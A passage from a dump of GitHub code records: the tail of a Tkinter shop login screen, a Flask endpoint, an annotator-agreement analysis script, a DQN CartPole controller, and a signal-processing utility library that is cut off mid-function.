PhotoImage(file = \"bk.png\")\r\n\tlogo(root, 1)\r\n\t\t\r\n\tfr = Frame(root)\r\n\tLabel(fr, text = \"Username\", font = (\"Tahoma\", 20)).grid(row = 0, column = 0, sticky = W, padx = 30, pady = 20)\r\n\tusername = StringVar()\r\n\tusername_entry = Entry(fr, textvariable = username, width = 20, font = 30)\r\n\t# username_entry.bind(\"<Return>\", login)\r\n\tusername_entry.grid(row = 0, column = 1, sticky = W, padx = 30, pady = 20)\r\n\t\r\n\tLabel(fr, text = \"Password\", font = (\"Tahoma\", 20)).grid(row = 1, column = 0, sticky = W, padx = 30, pady = 20)\r\n\tpassword = StringVar()\r\n\tpassword_entry = Entry(fr, textvariable = password, width = 20, font = 30)\r\n\t# password_entry.bind(\"<Return>\", login)\r\n\tpassword_entry.grid(row = 1, column = 1, sticky = W, padx = 30, pady = 20)\r\n\r\n\tmode = IntVar()\r\n\tRadiobutton(fr, text = \"Boss\", font = 20, variable = mode, value = 1).grid(row = 2, column = 1, sticky = W, padx = 30, pady = 10)\r\n\tRadiobutton(fr, text = \"Employee\", font = 20, variable = mode, value = 2).grid(row = 3, column = 1, sticky = W, padx = 30, pady = 10)\r\n\tmode.set(1)\r\n\t\r\n\tbtn = Button(fr, text = \"Log in\", font = (\"Tahoma\", 20), command = login)\r\n\tbtn.bind(\"<Return>\", login)\r\n\tbtn.grid(row = 4, column = 1, sticky = W, padx = 30, pady = 30)\r\n\t\r\n\troot.bind(\"<Return>\", login)  # bind for button login  \r\n\t\r\n\tfr.grid(row = 1, pady = 20)\r\n\troot.protocol(\"WM_DELETE_WINDOW\", close)\r\n\troot.mainloop()\r\n\t\r\nmain_screen()","repo_name":"duythevo12/A-simple-shop","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":154696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73756568099","text":"from flask import Blueprint, request, render_template, jsonify\n\nfrom mod_memory.models import Memory\n\nmod_app = Blueprint('app',__name__, url_prefix='/app')\n\n@mod_app.route('/home', methods=['GET'])\ndef home():\n    return \"Hello World home\"\n\n\n@mod_app.route('/mems', methods=['GET', 'POST'])\ndef get_memories():\n    print(\"Hello there I am here\")\n    print(request.json)\n    my_mems = Memory.query.all()\n    \n    print(my_mems[0])\n    if (not my_mems):\n        return \"{}\"\n    else:\n        print(\"mooooooooooooooooooooooooooooooo\")\n        return jsonify(memories = [{'mem_name': my_mems[0].mem_name,\n                                    'mem_info': my_mems[0].mem_info},\n                                    {'mem_name': my_mems[0].mem_name,\n                                    'mem_info': my_mems[0].mem_info}])","repo_name":"deelaws/souvu","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14410624013","text":"\"\"\"\nA script for computing various agreement metrics for a given task\n\n* How do individuals compare to aggregated annotations from different demographic groups?\n  --> output: raw JSON results, PDF of boxplots, ttest results\n  --> location: output/agreement/{task}/agreement_with_aggregate\n\nTO ADD NEW TASKS: add to the dictionaries in src/config/agreement.py\n\"\"\"\nimport argparse\nimport json\nimport os\nfrom multiprocessing import Pool\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import mode, ttest_ind\n\nfrom src.config.agreement import PAIRWISE_AGGREGATE_AGREEMENT_FN_MAP, PAIRWISE_AGREEMENT_FN_MAP\nfrom src.config.data import DEMOGRAPHICS_FN_MATRIX_MAP, REALIABILITY_FN_MATRIX_MAP\nfrom src.agreement.demographic_agreement import agreement_with_aggregate\n\n\nAGGREGATION_STR_TO_FN = {\n    \"mean\": np.mean,\n    \"median\": np.nanmedian,\n    \"mode\": lambda x: mode(x).mode[0]\n}\n\nCONFIG_MAPS = [DEMOGRAPHICS_FN_MATRIX_MAP, PAIRWISE_AGREEMENT_FN_MAP, REALIABILITY_FN_MATRIX_MAP]\n\n\ndef _output_distribution_results(raw_data, output_dir, boxplot_title, boxplot_figname, ttest_pairs):\n    \"\"\"\n    Output results where there is a range of values - such that we can perform t-tests and output boxplots\n    \"\"\"\n    # save raw results\n    with open(os.path.join(output_dir, f\"raw_results_{boxplot_figname}.json\"), \"w\") as f:\n        json.dump(raw_data, f)\n\n    # create boxplot\n    plt.boxplot(raw_data.values(), labels=raw_data.keys())\n    plt.title(boxplot_title)\n    plt.savefig(os.path.join(output_dir, f\"{boxplot_figname}.pdf\"))\n    plt.close()\n\n    # output results of t-tests\n    # NOTE: pvals not corrected for multiple comparisons (corrected in final table creation code)\n    ttest_results = []\n    for stat0, stat1 in ttest_pairs:\n        stat, pval = ttest_ind(raw_data[stat0], raw_data[stat1])\n        ttest_results.append((stat0, stat1, stat, pval))\n    pd.DataFrame(ttest_results, columns=[\"dist1\", \"dist2\", \"tval\", \"pval\"]).to_csv(\n        os.path.join(output_dir, f\"ttest_{boxplot_figname}.csv\"), index=False)\n\n\ndef _create_dir(output_path: str) -> str:\n    os.makedirs(output_path, exist_ok=True)\n    return output_path\n\n\nclass AgreementComputer:\n    OUTPUT_DIR = \"output/agreement\"\n\n    def __init__(self, task, n_processes):\n        self.task = task\n        self.reliability_matrix = REALIABILITY_FN_MATRIX_MAP[task]()\n        self.reliability_matrix.sort_index(inplace=True)\n        self.demographics = DEMOGRAPHICS_FN_MATRIX_MAP[task]()\n        self.pairwise_agreement_fn = PAIRWISE_AGREEMENT_FN_MAP[task]\n        # pairwise aggregate fn only needs to be defined if it differs from the typical pairwise fn\n        self.pairwise_agreement_aggregate_fn = PAIRWISE_AGGREGATE_AGREEMENT_FN_MAP.get(task, self.pairwise_agreement_fn)\n\n        self.pool = Pool(n_processes) if n_processes > 1 else None\n\n    def agreement_with_aggregate(self, aggregation):\n        # if not using mean, shouldn't use pairwise_agreement_aggregate_fn (that switches to interval measure)\n        agreement_fn = self.pairwise_agreement_aggregate_fn \\\n            if aggregation == \"mean\" else self.pairwise_agreement_fn\n\n        # compute agreement scores\n        agreement_data = agreement_with_aggregate(\n            self.reliability_matrix, self.demographics, aggregation=AGGREGATION_STR_TO_FN[aggregation], \n            agreement_fn=agreement_fn, mp_pool=self.pool)\n\n        out_dir = _create_dir(os.path.join(self.OUTPUT_DIR, self.task, \"agreement_with_aggregate\"))\n        _output_distribution_results(agreement_data, out_dir, f\"Agreement with {aggregation}\",\n            f\"agreement_{aggregation}\", [(\"M-ALLM\", \"M-ALLF\"), (\"F-ALLF\", \"F-ALLM\"), (\"F-ALL\", \"M-ALL\")])\n\n\ndef _parse_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--task\", \n                        choices=set.intersection(*[set(x.keys()) for x in CONFIG_MAPS]), \n                        required=True,\n                        help=\"The task to run on. Must provide demographics function and reliability function in config files.\")\n    parser.add_argument(\"--aggregation\",\n                        choices=AGGREGATION_STR_TO_FN.keys(),\n                        required=True,\n                        help=\"The way to aggregate individual annotator's annotations.\")\n    parser.add_argument(\"--n_processes\",\n                        type=int,\n                        default=1,\n                        help=\"The number of processes to run.\")\n    return parser.parse_args()\n\n\ndef main():\n    args = _parse_args()\n    ac = AgreementComputer(args.task, args.n_processes)\n    ac.agreement_with_aggregate(args.aggregation)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"MichiganNLP/Analyzing-the-Effects-of-Annotator-Gender-Across-NLP-Tasks","sub_path":"src/scripts/agreement/compute_agreements.py","file_name":"compute_agreements.py","file_ext":"py","file_size_in_byte":4667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"33200946394","text":"import os\nimport random\nimport numpy as np\n\nimport tensorflow as tf\nfrom tensorflow.keras import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.optimizers import Adam\n\n\nfrom src.dqnCartPoolM.CartPool import CartPole\nfrom src.dqnCartPoolM.controllers.CartController import CartController\n\n\nclass DqnCartController(CartController):\n    def __init__(self,\n                 train_model=False,\n                 gamma=0.85,\n                 epsilon=1.0,\n                 epsilon_decay=0.995,\n                 epsilon_min=0.01,\n                 learning_rate=0.005,\n                 batch_size=32,\n                 tau=0.125,\n                 save_freq=10,\n                 load_path=None,\n                 save_path=None,\n                 log_path=\"data/logs/dqn_v1\",\n                 episode_record=False,\n                 print_model=False,\n                 label=\"\",\n                 render_freq=10\n                 ):\n        super().__init__(episode_record=episode_record, label=label)\n        # self.log_path = log_path\n        self.render_freq = render_freq\n        self.print_model = print_model\n        self.save_path = save_path\n        self.load_path = load_path\n        self.save_freq = save_freq\n\n        self.train_model = train_model\n\n        self.gamma = gamma  # discount factor\n        self.epsilon = epsilon  # amount of randomness in e-greedy policy\n        self.epsilon_min = epsilon_min\n        self.epsilon_decay = epsilon_decay  # exponential decay\n        self.learning_rate = learning_rate\n        self.batch_size = batch_size\n        self.tau = tau  # target model update\n\n        self.model = self.create_model()\n        self.target_model = self.create_model()\n        self.target_model.set_weights(self.model.get_weights())\n\n        if load_path:\n            self.load_model(load_path=self.load_path)\n\n        self.max_reward = 0\n\n        # self.summaries = {}\n        # self.data_log = {\"reward\": [], \"loss\": []}\n\n        if not train_model:\n            self.cart_pole.set_render_true()\n\n    def act(self, test=False):\n        states = self.cart_pole.stored_states.reshape((1, self.cart_pole.space_size * self.cart_pole.time_steps))\n        self.epsilon *= self.epsilon_decay\n        self.epsilon = max(self.epsilon_min, self.epsilon)\n        epsilon = 0.01 if test else self.epsilon  # use epsilon = 0.01 when testing\n        q_values = self.model.predict(states)[0]\n        self.summaries['q_val'] = max(q_values)\n        if np.random.random() < epsilon:\n            return self.cart_pole.env.action_space.sample()  # sample random action\n        return np.argmax(q_values)\n\n    def create_model(self):\n        model = Sequential()\n        model.add(Dense(24, input_dim=self.cart_pole.space_size * self.cart_pole.time_steps, activation=\"relu\"))\n        model.add(Dense(32, activation=\"relu\"))\n        model.add(Dense(48, activation=\"relu\"))\n        model.add(Dense(self.cart_pole.a_space_size))\n        model.compile(loss=\"mean_squared_error\", optimizer=Adam(lr=self.learning_rate))\n        if self.print_model:\n            model.summary()\n        return model\n\n    def episode_start(self):\n        super().episode_start()\n        if self.train_model:\n            self.cart_pole.set_render_false()\n            if self.cart_pole.episode_num % self.render_freq == 0 and self.render_freq > 0:\n                self.cart_pole.set_render_true()\n        else:\n            self.cart_pole.set_render_true()\n\n    def update(self):\n        if self.train_model:\n            self.replay()  # iterates default (prediction) model through memory replay\n            self.target_update()  # iterates target model\n\n    def episode_end(self):\n        super().episode_end()\n        total_reward = self.cart_pole.total_reward\n        episode_num = self.cart_pole.episode_num\n\n        if self.save_path:\n            # if episode_num % self.save_freq == 0:\n            #     full_path = os.path.join(self.save_path, \"model_episode_{}_reward_{}.h5\".format(episode_num,\n            #                                                                                     total_reward))\n            #     self.save_model(full_path)\n\n            if total_reward > self.max_reward or total_reward == self.max_reward:\n                self.max_reward = total_reward\n                full_path = os.path.join(self.save_path, \"model_max_episode_{}_reward_{}.h5\".format(episode_num,\n                                                                                                    int(total_reward)))\n                self.save_model(full_path)\n\n    def replay(self):\n        if len(self.cart_pole.memory) < self.batch_size:\n            return\n\n        samples = random.sample(self.cart_pole.memory, self.batch_size)\n        states, action, reward, new_states, done = map(np.asarray, zip(*samples))\n        batch_states = np.array(states).reshape(self.batch_size, -1)\n        batch_new_states = np.array(new_states).reshape(self.batch_size, -1)\n        batch_target = self.target_model.predict(batch_states)\n        q_future = self.target_model.predict(batch_new_states).max(axis=1)\n        batch_target[range(self.batch_size), action] = reward + (1 - done) * q_future * self.gamma\n        hist = self.model.fit(batch_states, batch_target, epochs=1, verbose=0)\n        self.summaries['loss'] = np.mean(hist.history['loss'])\n\n    def end(self):\n        if self.train_model:\n            super().end()\n\n    def target_update(self):\n        weights = self.model.get_weights()\n        target_weights = self.target_model.get_weights()\n        for i in range(len(target_weights)):  # set tau% of target model to be new weights\n            target_weights[i] = weights[i] * self.tau + target_weights[i] * (1 - self.tau)\n        self.target_model.set_weights(target_weights)\n\n    def save_model(self, save_path):\n        if not self.train_model:\n            return\n        # save model to file, give file name with .h5 extension\n        print(\"Model saved to: {}\".format(save_path))\n        self.model.save(save_path)\n\n    def load_model(self, load_path):\n        # load model from .h5 file\n        self.model = tf.keras.models.load_model(load_path)\n        self.target_model = self.create_model()\n        self.target_model.set_weights(self.model.get_weights())\n","repo_name":"nemanja1995/reinforcement-learning","sub_path":"src/dqnCartPoolM/controllers/DqnCartController.py","file_name":"DqnCartController.py","file_ext":"py","file_size_in_byte":6269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70915040742","text":"\"\"\"\nthis library contains a number of useful functions that are general purpose \ndata processing functions.\n\"\"\"\n            \n###############################################################################\n### import libraries\n#from __init__ import (_np,_copy,_pd,_plt,_plot,_math)\n\n    \n### import libraries\n            \n# common libraries\nimport numpy as _np\nimport matplotlib.pyplot as _plt\nimport copy as _copy\nimport math as _math\n\n# hbtepLib libraries\nimport _plotTools as _plot\n\n\n            \n###############################################################################\n### misc functions\n            \ndef convertDataToStairstepData(x,y):\n    \"\"\"\n    When dealting with discrete data, often it makes sense to show the data \n    look like stair-steps insteady of a the more typical smooth plot.  This\n    function makes this happen #TODO(John) there is a better way to explain \n    this...\n    \n    Example\n    -------\n    x=np.arange(0,1,0.01)\n    y=np.sin(2*np.pi*12.345*x)\n    (xOut,yOut)=hbt.process.convertDataToStaircaseDate(x,y)\n    plt.plot(xOut,yOut)\n\n    \"\"\"\n    \n    xOut=_np.zeros(len(x)*2)\n    yOut=_np.zeros(len(x)*2)\n    dx=x[1]-x[0];\n    for i in range(0,len(x)):\n#        print yOut[i*2]\n#        print y[i]\n        xOut[2*i]=x[i]\n        if i == len(x)-1:\n            xOut[2*i+1]=xOut[2*i]+dx\n        else:\n            xOut[2*i+1]=x[i+1]\n        yOut[2*i]=y[i]\n        yOut[2*i+1]=y[i]\n    return (xOut,yOut)\n    \n            \ndef findNearest(array,value):\n    \"\"\"\n    search through `array` and returns the `index` of the cell closest to the \n    `value`.   `array` should be sorted in ascending order\n    \n    Parameters\n    ----------\n    array : numpy.array\n        data array to search through\n    value : float (or int)\n        value to look for in array\n        \n    Return\n    ------\n    index : int\n        index of value in array that is closest to value\n    \n    References\n    ----------\n    http://stackoverflow.com/questions/2566412/find-nearest-value-in-numpy-array\n    \"\"\"\n    index = (_np.abs(array-value)).argmin()\n    # value = array[index] \n    return index \n    # return index, value # uncomment to return both the index AND the value\n    \n    \ndef rmse(data, targets=0):\n    \"\"\"\n    Root mean square error function.  \n    If targets = 0, this is also the root mean square function.  \n    \n    Parameters\n    ----------\n    data : numpy.array \n        Data being considered\n    target : numpy.array of floats\n        values being compared against\n        \n    Return\n    ------\n    : numpy.array \n        root mean square error of data\n    \n    References\n    ----------\n    # http://stackoverflow.com/questions/17197492/root-mean-square-error-in-python\n    # http://statweb.stanford.edu/~susan/courses/s60/split/node60.html\n    \"\"\"\n    return _np.sqrt(((data - targets) ** 2).mean())\n\n    \ndef rms(data):\n    \"\"\"\n    Root mean square function.   \n    \n    Parameters\n    ----------\n    data : numpy.array \n        Data to be processed\n        \n    Return\n    ------\n    : numpy.array \n        root mean square of data\n    \n    References\n    ----------\n    # http://stackoverflow.com/questions/17197492/root-mean-square-error-in-python\n    # http://statweb.stanford.edu/~susan/courses/s60/split/node60.html\n    \"\"\"\n    return _np.sqrt(((data - 0) ** 2).mean())\n    \n    \ndef rejectOutliers(data, sigma=2):\n    \"\"\"\n    remove outliers from set of data\n    \n    Parameters\n    ----------\n    data : numpy.ndarray\n        data array being considered\n    sigma : int\n        the number of std. devs. about which to reject data.  E.g. sigma=2 \n        rejects outliers outside of +-2*sigma\n        \n    Return\n    ------\n     : numpy.ndarray \n        Same as databut missing entires considered as outliers\n    indicesToKeep : numpy.ndarray (of bool)\n        Boolean indices associated with entries of data that are kept\n    \n    References\n    ----------\n    http://stackoverflow.com/questions/11686720/is-there-a-numpy-builtin-to-reject-outliers-from-a-list\n    \"\"\"\n    indicesToKeep=abs(data - _np.mean(data)) < sigma* _np.std(data)\n    return data[indicesToKeep],indicesToKeep\n                    \ndef rmPhaseJumps(time,data,cut=_np.pi):\n    \"\"\"\n    Removed phase jumps of greater than \"cut\", defaults to pi\n    Assumes phase is wrapped.\n    Inserts NaN at jump points in data and time vector \n    \"\"\"\n    indx=_np.argwhere(_np.abs(_np.diff(data))>=cut)+1\n    if indx[-1]==len(data):indx[-1]-=1# in case last point jumps\n    data=list(data)\n    time=list(time)\n    # Iterate over jump points, insert NaNs\n    for i in indx:\n        data.insert(i,_np.NaN)\n        time.insert(i,_np.NaN)\n        indx += 1\n    return _np.array(time),_np.array(data)\n\n\ndef wrapPhase(data): \n    \"\"\"\n    Wraps phase data so that it repeats every 2pi.\n    This is important for phase data when you want it to all fit nicely on a \n    plot.  \n    \n    Parameters\n    ----------\n    data : numpy.ndarray\n        data being wrapped\n        \n    Return\n    ------\n    outData : numpy.ndarray\n        wrapped data array\n        \n    \"\"\"\n    inData=data*1.0\n    outData=_np.zeros(inData.size);\n    inData-=_np.pi;\n    for i in range(0,_np.size(inData)-1):\n        a=_np.floor(inData[i]/(_np.pi*2))\n        outData[i]=inData[i]-(a+1)*2*_np.pi+_np.pi\n    return outData\n    \n    \ndef unwrapPhase(inData):\n    \"\"\"\n    Takes in phase array (in radians).  I think it needs to be centered about 0.\n    Unwraps phase data so that it is continuous.\n    This is important for phase data when you want to take it's derivative to\n    get frequency.  \n    \n    Parameters\n    ----------\n    data : numpy.ndarray\n        data being unwrapped\n        \n    Return\n    ------\n    outData : numpy.ndarray\n        unwrapped data array\n        \n    \"\"\"\n    outData=_np.zeros(_np.size(inData));\n    offset=0;\n    outData[0]=inData[0];\n    for i in range(0,_np.size(inData)-1):\n        if inData[i] > _np.pi/4 and inData[i+1] < -_np.pi/4:\n            offset=offset+2*_np.pi;\n        elif inData[i] < -_np.pi/4 and inData[i+1] > _np.pi/4:\n            offset=offset-2*_np.pi;\n        outData[i+1]=inData[i+1]+offset;\n    return outData\n\n\ndef hasNan(inArray):\n    \"\"\"\n    searches array, inArray, for any occurances of NaN.  returns True if\n    yes, returns False if no.\n    \n    Parameters\n    ----------\n    inArray : numpy.ndarray\n        data array being considered for NaN entries\n        \n    Return\n    ------\n        : bool\n        True if NaNs are in array, False otherwise\n    \"\"\"\n    count = 0;\n    for i in range(0,len(inArray)):\n        if _math.isnan(inArray[i]):\n            count+=1;\n            \n    print(\"There was/were %d instances of NaN\" % count)\n    \n    if count == 0:\n        return False\n    if count != 0:\n        return True\n        \n        \ndef sort2Arrays(array1, array2):\n    \"\"\"\n    sorts array1 and array2 in ascending order of array1\n    \n    outdated:  replaced by sortArrays() below\n    \"\"\"\n    array1, array2 = zip(*sorted(zip(array1, array2)));\n    array1=_np.array(array1);\n    array2=_np.array(array2);\n    return array1, array2\n    \n    \ndef sortArrays(arrays,sortIndex):\n    \"\"\"\n    sorts a list of n arrays.  sortIndex is the index of the array to sort all arrays.\n    \n    example use:  [V, I, phi]=sortArrays([V,I,phi],1) to sort all arrays by ascending I\n    \n    reference:  https://stackoverflow.com/questions/6618515/sorting-list-based-on-values-from-another-list\n    \"\"\"\n    sortedIndices=arrays[sortIndex].argsort()\n    for i in range(len(arrays)):\n        arrays[i]=arrays[i][sortedIndices]\n    return arrays\n    \n    \ndef downSampleData(downX,upX,data):\n    \"\"\"\n    Down samples data by finding the nearest x values on data that match the \n    downselecting x (downX)\n    \n    Sometimes, you want to compare two different sets of data that do not have\n    the same time basis.  This function down-samples the data set with more \n    data points so that its x-data matches the other\n    \n    Parameters\n    ----------\n    downX : numpy.ndarray\n        the x-data that will provide the down smpaled reference to the \n        upsampled x-data\n    upX : numpy.ndarray\n        the upsampled x-data that will be downsampled\n    data : list (of numpy.array)\n        the upsampled y-data that will be downsampled\n        \n    Returns\n    -------\n    out : list (of np.ndarray)\n        list of trimmed y-data\n        \n    Notes\n    -----\n    upX is not actually trimmed in this instance.  it is assumed that you user\n    will use downX as their new time basis\n    \"\"\"\n    if type(data) is not list:\n        data=[data]\n    \n    m=len(downX)\n    indices=_np.zeros(m,dtype=_np.int16)\n    out = []\n    \n    for i in range(0,m):\n        indices[i]=int(findNearest(upX,downX[i]))\n\n    for i in range(0,len(data)):\n        out.append(data[i][indices])\n    return out\n    \n    \ndef upSampleData(upX,downX,data):\n    \"\"\"\n    Up samples data by linear interpolating \n    \n    Similar to downSampleData() but up-samples instead\n    \n    Parameters\n    ----------\n    upX : np.ndarray\n        the x-data that will be used in up-sampling the under-sampled data\n    downX : np.ndarray\n        the undersampled x-data\n    data : list (of np.ndarray)\n        the y-data to be up-samples.  downX is its time-base before \n        up-sampling.  upX will be its time-base after up-sampling\n    \n    Returns\n    -------\n    out : list (of np.ndarray)\n        list of up-sampled y-data\n    \"\"\"\n    out = _np.interp(upX,downX,data)\n    return out\n    \n\n    \n    \ndef linearizeDataMatrix(data):\n    \"\"\"\n    data is assumed to be a list of arrays\n    \n    this function converts the data to a single, appended array\n    \"\"\"\n    m=len(data);\n    temp=_np.array([])\n    for i in range(0,m):\n        temp=_np.append(temp,data[i])\n    return temp\n    \n    \n\n    \n    \n###############################################################################\n### filters and smoothing algorithms\n    \n\ndef downSample(data,time,new_dT,shftStart=False):\n    if new_dT%_np.mean(_np.diff(time))>=1e-7:\n        raise SyntaxError(\"Sampling rate must be integer multiple of original: %e vs %e\"%(_np.mean(_np.diff(time)),new_dT))\n    dS=(new_dT/_np.mean(_np.diff(time))).astype(int)\n    \n    # Verify data shape\n    if data.shape[0] != len(time):data=data.T\n    \n    # Make smoothing kernel\n    boxMat=_np.zeros((len(time)/dS,len(time)))\n    for i in range(len(boxMat)):boxMat[i,i*dS:(i+1)*dS]=1./dS\n    \n    return _np.matmul(boxMat,data),_np.matmul(boxMat,time)-shftStart*new_dT*(3./2)#(dS/2)#*_np.mean(_np.diff(time))\n    \ndef nPoleFilter(data,xData=None,numPoles=1,alpha=0.0625,filterType='lowPass',plot=False):\n    \"\"\"\n    n-pole filter.  \n    \n    Parameters\n    ----------\n    data : numpy.ndarray\n        data to be smoothed\n    xData : numpy.ndarray or NoneType\n        (optional) array of x-data\n    numPoles : int\n        number of poles for the filter\n    alpha : float\n        weight of the filter, float between 0 and 1.  Close to zero for a low\n        pass and close to 1 for a high pass\n    filterType : str\n        'lowPass' - Low pass filter\n        'highPhass' - High pass filter\n    plot : bool\n        plots results if true\n    \n    Returns\n    -------\n    filteredData : 2D numpy.ndarray\n        filtered data\n    \n    References\n    ----------\n    http://techteach.no/simview/lowpass_filter/doc/filter_algorithm.pdf\n    https://en.wikipedia.org/wiki/Low-pass_filter#Discrete-time_realization\n    https://en.wikipedia.org/wiki/High-pass_filter#Discrete-time_realization\n    \n    Notes\n    -----\n    this method is pulled from Qian Peng's 2016 GPU code.  \n    his highpass filter does NOT follow this code\n    \n    Example #1\n    ----------\n    t=np.arange(0,.01,6e-8);\n    y2=np.sin(2*np.pi*300*t)+np.sin(2*np.pi*30000*t)\n    alpha=0.00625;\n    hbt.process.nPoleFilter(y2,t,numPoles=2,filterType='lowPass',plot=True,alpha=alpha)\n    hbt.process.nPoleFilter(y2,t,numPoles=2,filterType='highPass',plot=True,alpha=1.0-0.000625)\n    \n    Example #2\n    ----------\n    t=np.arange(0,.01,6e-6);\n    from scipy.signal import square\n    y=square(t,0.001)\n    hbt.process.nPoleFilter(y,t,numPoles=2,filterType='lowPass',plot=True)\n    hbt.process.nPoleFilter(y,t,numPoles=2,filterType='highPass',plot=True)\n\n    \"\"\"\n    \n    # initialize data arrays\n    procData=_np.zeros((numPoles+1,len(data)));\n    procData[0,:]=data;\n    \n    # filter.  for loop controls the number of poles\n    for i in range(1,numPoles+1):\n        \n        if filterType=='lowPass':\n            for j in range(0,len(data)-1):\n                procData[i,j+1]=procData[i,j]+alpha*(procData[i-1,j]-procData[i,j])\n        elif filterType=='highPass':\n            for j in range(0,len(data)-1):\n                procData[i,j+1]=alpha*(procData[i,j]+procData[i-1,j+1]-procData[i-1,j])\n                    \n    # plot results\n    if plot==True:\n        p1=_plot.plot(title=str(numPoles)+\" pole \"+filterType+\" filter, alpha=\"+str(alpha),\n                   xLabel=\"x-axis\",yLabel='y-axis')\n                   \n        if type(xData)==type(None):\n            xData=_np.arange(0,len(data));\n            \n        p1.addTrace(xData=xData,yData=data,yLegendLabel='raw')\n\n        for i in range(1,numPoles+1):\n            p1.addTrace(xData=xData,yData=procData[i,:],yLegendLabel=str(i))\n            \n        p1.plot()\n\n    # return results\n    return procData\n   \n           \ndef savgolFilter(data,numPoints,polynomialOrder,plot=False):\n    \"\"\"\n    Ssavitzky-Golay moving average smoothing filter.  Applies a nth order \n    polynomial to a moving window of data.\n    \n    Parameters\n    ----------\n    data : numpy.ndarray\n        data to be smoothed\n    numPoints : int\n        number of points for smoothing\n    method : str\n        method to use\n        'box' - box car type of smoothing\n        'gaussian' - guassian or normal smoothing\n    plot : bool\n        plots results if true\n    \n    Returns\n    -------\n    smoothedData : numpy.ndarray\n        smoothed data\n    \n    References\n    ----------\n    https://docs.scipy.org/doc/scipy-0.16.1/reference/generated/scipy.signal.savgol_filter.html\n    https://stackoverflow.com/questions/20618804/how-to-smooth-a-curve-in-the-right-way\n    \n    Notes\n    -----\n    this is a wrapper for scipy.signal.savgol_filter\n    \n    I think I prefer the gaussian convolution algorithm over this one (john)\n    \"\"\"\n    \n    def plotResults():\n        \"\"\"\n        plots results (before and after smoothing)\n        \"\"\"\n        p1=_plot.plot()\n        x=_np.arange(0,len(data))\n        p1.xData=[x,x]\n        p1.yData=[data,smoothedData]\n        p1.yLegendLabel=['raw data','smoothed data']\n        p1.marker=['.','']\n        p1.linestyle=['','-']\n        p1.title='%d point, Savitzky-Golay smoothing of order %s'% (numPoints,polynomialOrder)\n        p1.plot()\n        \n    # import savgol package\n    from scipy.signal import savgol_filter\n    \n    # perform filter\n    smoothedData=savgol_filter(data,numPoints,polynomialOrder)\n        \n    # plot results if requested\n    if plot==True or plot=='all':\n        plotResults()\n        \n    return smoothedData\n        \n    \n    \ndef convolutionSmoothing(data,numPoints,method='gaussian',plot=False):\n    \"\"\"\n    Convolution moving average smoothing filter\n    \n    Parameters\n    ----------\n    data : numpy.ndarray\n        data to be smoothed\n    numPoints : int\n        number of points for smoothing.  should be an odd number\n    method : str\n        method to use\n        'box' - box car type of smoothing.  keywords: boxcar\n        'gaussian' - guassian or normal smoothing\n    plot : bool\n        plots results if true\n    \n    Returns\n    -------\n    smoothedData : numpy.ndarray\n        smoothed data\n    \n    References\n    ----------\n    https://stackoverflow.com/questions/20618804/how-to-smooth-a-curve-in-the-right-way\n    \n    Example 1\n    ---------\n    # randon noise on sine way\n    x = np.arange(0,2*np.pi,.1)\n    y1 = np.sin(x) + np.random.random(len(x)) * 0.8\n    convolutionSmoothing(y,numPoints,method='box',plot='all')\n        \n    Example 2\n    ---------\n    # step function\n    x = np.arange(0,2*np.pi,.1)\n    y2=np.zeros(len(x))\n    y2[np.where(x>np.pi)[0]]=1\n    convolutionSmoothing(y,numPoints,method='box',plot='all')\n\n    Notes\n    -----\n    I want to justiy some of my weird code below.  When numPoints is an even \n    number, the filter centers itself 1.5 points ahead of itself in the window \n    which results in a small time/phase shift in the filtered data.  When it's \n    an odd number, it centers itself 1.0 points ahead in the window and \n    smaller time/phase shift.  By requiring that numPoints is odd and \n    temporarily removing the first point in the data (I put it back in the \n    end), I center the filter in the window and have no time/phase shift.  \n    \n    The convolution filters \"mess up\" the last set of points (on the order of\n    numPoints).  If you want to get around this, you should give it more data \n    than you actually want and trim the end off.\n    \"\"\"\n    def plotResults():\n        \"\"\"\n        plots before and after of smoothing\n        \"\"\"\n        p1=_plot.plot()\n        x=_np.arange(0,len(data))\n        p1.xData=[x,x]\n        p1.yData=[data,smoothedData]\n        p1.yLegendLabel=['raw data','smoothed data']\n        p1.marker=['.','']\n        p1.linestyle=['','-']\n        p1.title='%d point, %s smoothing'% (numPoints,method)\n        p1.plot()\n        \n    def plotSmoothingFunction():\n        \"\"\"\n        plots smoothing function\n        \"\"\"\n        p1=_plot.plot()\n        x=_np.arange(0,len(smoothingFunction))\n        p1.xData=[x]\n        p1.yData=[smoothingFunction]\n        p1.yLegendLabel=['smoothing function']\n        p1.marker=['o']\n        p1.linestyle=['-']\n        p1.title='%d point, %s smoothing function'% (numPoints,method)\n        p1.plot()\n        \n    # make sure numPoints is an odd number\n    if (numPoints % 2 == 0): # is an even number\n        numPoints+=1;\n        print(\"Warning: numPoints was not an odd number.  +1 was added.  \" \n              \"numPoints is now %d\" % numPoints)\n        \n    # temporarily remove first point (see Notes)\n    tempPoint=data[0]\n    data=data[1:]   \n    \n    # box smoothing\n    if method=='box':\n        smoothingFunction=_np.ones(numPoints)/numPoints\n        \n    # gaussian smoothing\n    elif method=='gaussian' or method == 'normal':        \n        temp=_np.arange(numPoints)\n        sigma=numPoints/(2*_np.pi);\n        smoothingFunction=_np.exp(-((temp-(numPoints-1)/2.)/sigma)**2/2)\n        smoothingFunction/=_np.sum(smoothingFunction)\n        \n    # perform smoothing\n    smoothedData = _np.convolve(data, smoothingFunction, mode='same')\n    \n    # plot if requested\n    if plot==True:\n        plotResults()\n    if plot=='all':\n        plotSmoothingFunction()\n        plotResults()\n        \n    # add point back to smoothedData (see Notes\n    smoothedData=_np.append(tempPoint,smoothedData)\n        \n    return smoothedData\n    \n\ndef gaussianFilter(t,y,timeFWHM,filterType='high',plot=False,plotGaussian=False):\n    \"\"\"\n    Low and pass filters using scipy's gaussian convolution filter\n    \n    Parameters\n    ----------\n    t : numpy.array\n        